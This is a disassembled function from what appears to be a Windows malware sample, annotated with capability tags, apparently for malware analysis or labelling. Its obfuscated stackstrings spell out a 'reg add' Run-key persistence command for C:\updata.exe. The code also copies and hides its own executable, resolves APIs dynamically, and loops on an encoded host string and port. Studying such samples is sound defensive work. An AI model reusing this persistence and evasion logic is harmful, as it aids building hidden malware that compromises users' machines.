Function at 0x4136e8
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f198
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0xa5dc
call fcn.00425360
push edi
mov byte [ebp - 0x404], 0x22
mov byte [ebp - 0x403], 0x48
mov byte [ebp - 0x402], 0x4b
mov byte [ebp - 0x401], 0x45
mov byte [ebp - 0x400], 0x59
mov byte [ebp - 0x3ff], 0x5f
mov byte [ebp - 0x3fe], 0x43
mov byte [ebp - 0x3fd], 0x55
mov byte [ebp - 0x3fc], 0x52
mov byte [ebp - 0x3fb], 0x52
mov byte [ebp - 0x3fa], 0x45
mov byte [ebp - 0x3f9], 0x4e
mov byte [ebp - 0x3f8], 0x54
mov byte [ebp - 0x3f7], 0x5f
mov byte [ebp - 0x3f6], 0x55
mov byte [ebp - 0x3f5], 0x53
mov byte [ebp - 0x3f4], 0x45
mov byte [ebp - 0x3f3], 0x52
mov byte [ebp - 0x3f2], 0x5c
mov byte [ebp - 0x3f1], 0x53
mov byte [ebp - 0x3f0], 0x4f
mov byte [ebp - 0x3ef], 0x46
mov byte [ebp - 0x3ee], 0x54
mov byte [ebp - 0x3ed], 0x57
mov byte [ebp - 0x3ec], 0x41
mov byte [ebp - 0x3eb], 0x52
mov byte [ebp - 0x3ea], 0x45
mov byte [ebp - 0x3e9], 0x5c
mov byte [ebp - 0x3e8], 0x4d
mov byte [ebp - 0x3e7], 0x69
mov byte [ebp - 0x3e6], 0x63
mov byte [ebp - 0x3e5], 0x72
mov byte [ebp - 0x3e4], 0x6f
mov byte [ebp - 0x3e3], 0x73
mov byte [ebp - 0x3e2], 0x6f
mov byte [ebp - 0x3e1], 0x66
mov byte [ebp - 0x3e0], 0x74
mov byte [ebp - 0x3df], 0x5c
mov byte [ebp - 0x3de], 0x57
mov byte [ebp - 0x3dd], 0x69
mov byte [ebp - 0x3dc], 0x6e
mov byte [ebp - 0x3db], 0x64
mov byte [ebp - 0x3da], 0x6f
mov byte [ebp - 0x3d9], 0x77
mov byte [ebp - 0x3d8], 0x73
mov byte [ebp - 0x3d7], 0x5c
mov byte [ebp - 0x3d6], 0x43
mov byte [ebp - 0x3d5], 0x75
mov byte [ebp - 0x3d4], 0x72
mov byte [ebp - 0x3d3], 0x72
mov byte [ebp - 0x3d2], 0x65
mov byte [ebp - 0x3d1], 0x6e
mov byte [ebp - 0x3d0], 0x74
mov byte [ebp - 0x3cf], 0x56
mov byte [ebp - 0x3ce], 0x65
mov byte [ebp - 0x3cd], 0x72
mov byte [ebp - 0x3cc], 0x73
mov byte [ebp - 0x3cb], 0x69
mov byte [ebp - 0x3ca], 0x6f
mov byte [ebp - 0x3c9], 0x6e
mov byte [ebp - 0x3c8], 0x5c
mov byte [ebp - 0x3c7], 0x52
mov byte [ebp - 0x3c6], 0x75
mov byte [ebp - 0x3c5], 0x6e
mov byte [ebp - 0x3c4], 0x22
mov byte [ebp - 0x3c3], 0
mov ecx, 0x2f
xor eax, eax
lea edi, [ebp - 0x3c2]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [ebp - 0x630], 0x72
mov byte [ebp - 0x62f], 0x65
mov byte [ebp - 0x62e], 0x67
mov byte [ebp - 0x62d], 0x20
mov byte [ebp - 0x62c], 0x61
mov byte [ebp - 0x62b], 0x64
mov byte [ebp - 0x62a], 0x64
mov byte [ebp - 0x629], 0x20
mov byte [ebp - 0x628], 0
mov ecx, 0x3d
xor eax, eax
lea edi, [ebp - 0x627]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x734], 0x20
mov byte [ebp - 0x733], 0x2f
mov byte [ebp - 0x732], 0x76
mov byte [ebp - 0x731], 0x20
mov byte [ebp - 0x730], 0x75
mov byte [ebp - 0x72f], 0x70
mov byte [ebp - 0x72e], 0x64
mov byte [ebp - 0x72d], 0x61
mov byte [ebp - 0x72c], 0x74
mov byte [ebp - 0x72b], 0x61
mov byte [ebp - 0x72a], 0x20
mov byte [ebp - 0x729], 0x2f
mov byte [ebp - 0x728], 0x74
mov byte [ebp - 0x727], 0x20
mov byte [ebp - 0x726], 0x52
mov byte [ebp - 0x725], 0x45
mov byte [ebp - 0x724], 0x47
mov byte [ebp - 0x723], 0x5f
mov byte [ebp - 0x722], 0x53
mov byte [ebp - 0x721], 0x5a
mov byte [ebp - 0x720], 0x20
mov byte [ebp - 0x71f], 0x2f
mov byte [ebp - 0x71e], 0x64
mov byte [ebp - 0x71d], 0x20
mov byte [ebp - 0x71c], 0x43
mov byte [ebp - 0x71b], 0x3a
mov byte [ebp - 0x71a], 0x5c
mov byte [ebp - 0x719], 0x75
mov byte [ebp - 0x718], 0x70
mov byte [ebp - 0x717], 0x64
mov byte [ebp - 0x716], 0x61
mov byte [ebp - 0x715], 0x74
mov byte [ebp - 0x714], 0x61
mov byte [ebp - 0x713], 0x2e
mov byte [ebp - 0x712], 0x65
mov byte [ebp - 0x711], 0x78
mov byte [ebp - 0x710], 0x65
mov byte [ebp - 0x70f], 0x20
mov byte [ebp - 0x70e], 0x2f
mov byte [ebp - 0x70d], 0x66
mov byte [ebp - 0x70c], 0
mov ecx, 0x35
xor eax, eax
lea edi, [ebp - 0x70b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x404]
push eax
lea ecx, [ebp - 0x630]
push ecx
call fcn.004255b0
add esp, 8
lea edx, [ebp - 0x734]
push edx
lea eax, [ebp - 0x630]
push eax
call fcn.004255b0
add esp, 8
lea ecx, [ebp - 0x630]
push ecx
call fcn.00426023
add esp, 4
push 0x104
lea edx, [ebp - 0x528]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x120], 0x43
mov byte [ebp - 0x11f], 0x3a
mov byte [ebp - 0x11e], 0x5c
mov byte [ebp - 0x11d], 0x75
mov byte [ebp - 0x11c], 0x70
mov byte [ebp - 0x11b], 0x64
mov byte [ebp - 0x11a], 0x61
mov byte [ebp - 0x119], 0x74
mov byte [ebp - 0x118], 0x61
mov byte [ebp - 0x117], 0x2e
mov byte [ebp - 0x116], 0x65
mov byte [ebp - 0x115], 0x78
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0
mov byte [ebp - 0x424], 0x4b
mov byte [ebp - 0x423], 0x45
mov byte [ebp - 0x422], 0x52
mov byte [ebp - 0x421], 0x4e
mov byte [ebp - 0x420], 0x45
mov byte [ebp - 0x41f], 0x4c
mov byte [ebp - 0x41e], 0x33
mov byte [ebp - 0x41d], 0x32
mov byte [ebp - 0x41c], 0x2e
mov byte [ebp - 0x41b], 0x64
mov byte [ebp - 0x41a], 0x6c
mov byte [ebp - 0x419], 0x6c
mov byte [ebp - 0x418], 0
mov byte [ebp - 0x174], 0x4d
mov byte [ebp - 0x173], 0x6f
mov byte [ebp - 0x172], 0x76
mov byte [ebp - 0x171], 0x65
mov byte [ebp - 0x170], 0x46
mov byte [ebp - 0x16f], 0x69
mov byte [ebp - 0x16e], 0x6c
mov byte [ebp - 0x16d], 0x65
mov byte [ebp - 0x16c], 0x45
mov byte [ebp - 0x16b], 0x78
mov byte [ebp - 0x16a], 0x41
mov byte [ebp - 0x169], 0
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0x424]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x110], eax
push 1
lea edx, [ebp - 0x120]
push edx
lea eax, [ebp - 0x528]
push eax
call dword [ebp - 0x110]
push 2
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x124], 0
call dword [sym.imp.USER32.dll_GetProcessWindowStation]
mov dword [ebp - 0x168], eax
push 0x2000000
push 0
push str.winsta0
call dword [sym.imp.USER32.dll_OpenWindowStationA]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
je 0x413c56
mov edx, dword [ebp - 0x164]
push edx
call dword [sym.imp.USER32.dll_SetProcessWindowStation]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x160], 0
lea ecx, [ebp - 0x204]
call fcn.00402600
mov dword [ebp - 4], 0
mov byte [ebp - 0x414], 0x4b
mov byte [ebp - 0x413], 0x45
mov byte [ebp - 0x412], 0x52
mov byte [ebp - 0x411], 0x4e
mov byte [ebp - 0x410], 0x45
mov byte [ebp - 0x40f], 0x4c
mov byte [ebp - 0x40e], 0x33
mov byte [ebp - 0x40d], 0x32
mov byte [ebp - 0x40c], 0x2e
mov byte [ebp - 0x40b], 0x64
mov byte [ebp - 0x40a], 0x6c
mov byte [ebp - 0x409], 0x6c
mov byte [ebp - 0x408], 0
mov byte [ebp - 0x530], 0x53
mov byte [ebp - 0x52f], 0x6c
mov byte [ebp - 0x52e], 0x65
mov byte [ebp - 0x52d], 0x65
mov byte [ebp - 0x52c], 0x70
mov byte [ebp - 0x52b], 0
lea eax, [ebp - 0x530]
push eax
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
mov byte [ebp - 0x634], 0
mov edx, 1
test edx, edx
je 0x41416e
mov eax, dword [ebp - 0x634]
and eax, 0xff
test eax, eax
je 0x413dc2
mov ecx, dword [ebp - 0x634]
and ecx, 0xff
cmp ecx, 3
je 0x413dc2
mov dword [ebp - 0xa5b0], 0
jmp 0x413d6f
mov edx, dword [ebp - 0xa5b0]
add edx, 1
mov dword [ebp - 0xa5b0], edx
cmp dword [ebp - 0xa5b0], 0x3e8
jge 0x413dc2
lea eax, [ebp - 0x15c]
push eax
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0
je 0x413db8
lea ecx, [ebp - 0x204]
call fcn.00402def
mov ecx, dword [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x413dc2
push 0x64
call dword [ebp - 0x128]
jmp 0x413d60
mov word [ebp - 0x73c], 0x1b6d
mov dx, word [ebp - 0x73c]
push edx
push ecx
mov ecx, esp
mov dword [ebp - 0xa5d4], esp
push str.BQGPJCDKAKJOHJIDASDNGJGABU
call fcn.00438182
mov dword [ebp - 0xa5dc], eax
lea eax, [ebp - 0xa5ac]
push eax
call fcn.00413542
add esp, 0xc
mov dword [ebp - 0xa5e0], eax
mov byte [ebp - 4], 1
mov cx, word [ebp - 0x73c]
push ecx
push ecx
mov ecx, esp
mov dword [ebp - 0xa5d8], esp
push str.BSABHTBA
call fcn.00438182
mov dword [ebp - 0xa5e4], eax
lea edx, [ebp - 0x738]
push edx
call fcn.00413542
add esp, 0xc
mov dword [ebp - 0xa5e8], eax
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x740], eax
lea ecx, [ebp - 0x738]
call fcn.0040e7c0
push eax
call fcn.00425c5b
add esp, 4
push eax
lea ecx, [ebp - 0xa5ac]
call fcn.0040e7c0
push eax
lea ecx, [ebp - 0x204]
call fcn.00402a1f
and eax, 0xff
test eax, eax
jne 0x413eaa
mov byte [ebp - 0x634], 2
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x738]
call fcn.00438158
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa5ac]
call fcn.00438158
jmp 0x413d27
mov dword [ebp - 0xa5a8], 0xffffffff
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x740]
push eax
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00412dc6
add esp, 0xc
lea ecx, [ebp - 0x738]
call fcn.0040e7c0
push eax
call fcn.00425c5b
add esp, 4
push eax
lea ecx, [ebp - 0xa5ac]
call fcn.0040e7c0
push eax
lea edx, [ebp - 0x15c]
push edx
mov eax, dword [0x453d04]
push eax
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x204]
push edx
lea ecx, [ebp - 0xa5a0]
call fcn.0040d23b
mov byte [ebp - 4], 3
lea eax, [ebp - 0xa5a0]
push eax
lea ecx, [ebp - 0x204]
call fcn.00403371
mov dword [ebp - 0x744], 0
jmp 0x413f4f
mov ecx, dword [ebp - 0x744]
add ecx, 1
mov dword [ebp - 0x744], ecx
cmp dword [ebp - 0x744], 0xa
jge 0x413f79
lea ecx, [ebp - 0xa5a0]
call fcn.0040caa2
and eax, 0xff
test eax, eax
jne 0x413f79
push 0x3e8
call dword [ebp - 0x128]
jmp 0x413f40
lea ecx, [ebp - 0xa5a0]
call fcn.0040caa2
and eax, 0xff
test eax, eax
jne 0x413fbf
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa5a0]
call fcn.0040c572
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x738]
call fcn.00438158
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa5ac]
call fcn.00438158
jmp 0x413d27
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x740], eax
mov byte [ebp - 0xa5bc], 0x4f
mov byte [ebp - 0xa5bb], 0x70
mov byte [ebp - 0xa5ba], 0x65
mov byte [ebp - 0xa5b9], 0x6e
mov byte [ebp - 0xa5b8], 0x45
mov byte [ebp - 0xa5b7], 0x76
mov byte [ebp - 0xa5b6], 0x65
mov byte [ebp - 0xa5b5], 0x6e
mov byte [ebp - 0xa5b4], 0x74
mov byte [ebp - 0xa5b3], 0x41
mov byte [ebp - 0xa5b2], 0
mov byte [ebp - 0xa5d0], 0x4b
mov byte [ebp - 0xa5cf], 0x45
mov byte [ebp - 0xa5ce], 0x52
mov byte [ebp - 0xa5cd], 0x4e
mov byte [ebp - 0xa5cc], 0x45
mov byte [ebp - 0xa5cb], 0x4c
mov byte [ebp - 0xa5ca], 0x33
mov byte [ebp - 0xa5c9], 0x32
mov byte [ebp - 0xa5c8], 0x2e
mov byte [ebp - 0xa5c7], 0x64
mov byte [ebp - 0xa5c6], 0x6c
mov byte [ebp - 0xa5c5], 0x6c
mov byte [ebp - 0xa5c4], 0
lea edx, [ebp - 0xa5bc]
push edx
lea eax, [ebp - 0xa5d0]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xa5c0], eax
lea ecx, [ebp - 0x15c]
push ecx
push 0
push 0x1f0003
call dword [ebp - 0xa5c0]
mov dword [ebp - 0x160], eax
push 0x64
mov edx, dword [ebp - 0x180]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xa5a4], eax
push 0x1f4
call dword [ebp - 0x128]
cmp dword [ebp - 0x160], 0
jne 0x4140e4
cmp dword [ebp - 0xa5a4], 0
jne 0x413fcb
cmp dword [ebp - 0x160], 0
je 0x41413c
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x204]
call fcn.00402def
mov eax, dword [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa5a0]
call fcn.0040c572
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x738]
call fcn.00438158
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa5ac]
call fcn.00438158
jmp 0x41416e
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa5a0]
call fcn.0040c572
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x738]
call fcn.00438158
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa5ac]
call fcn.00438158
jmp 0x413d27
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x204]
call fcn.00402945
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret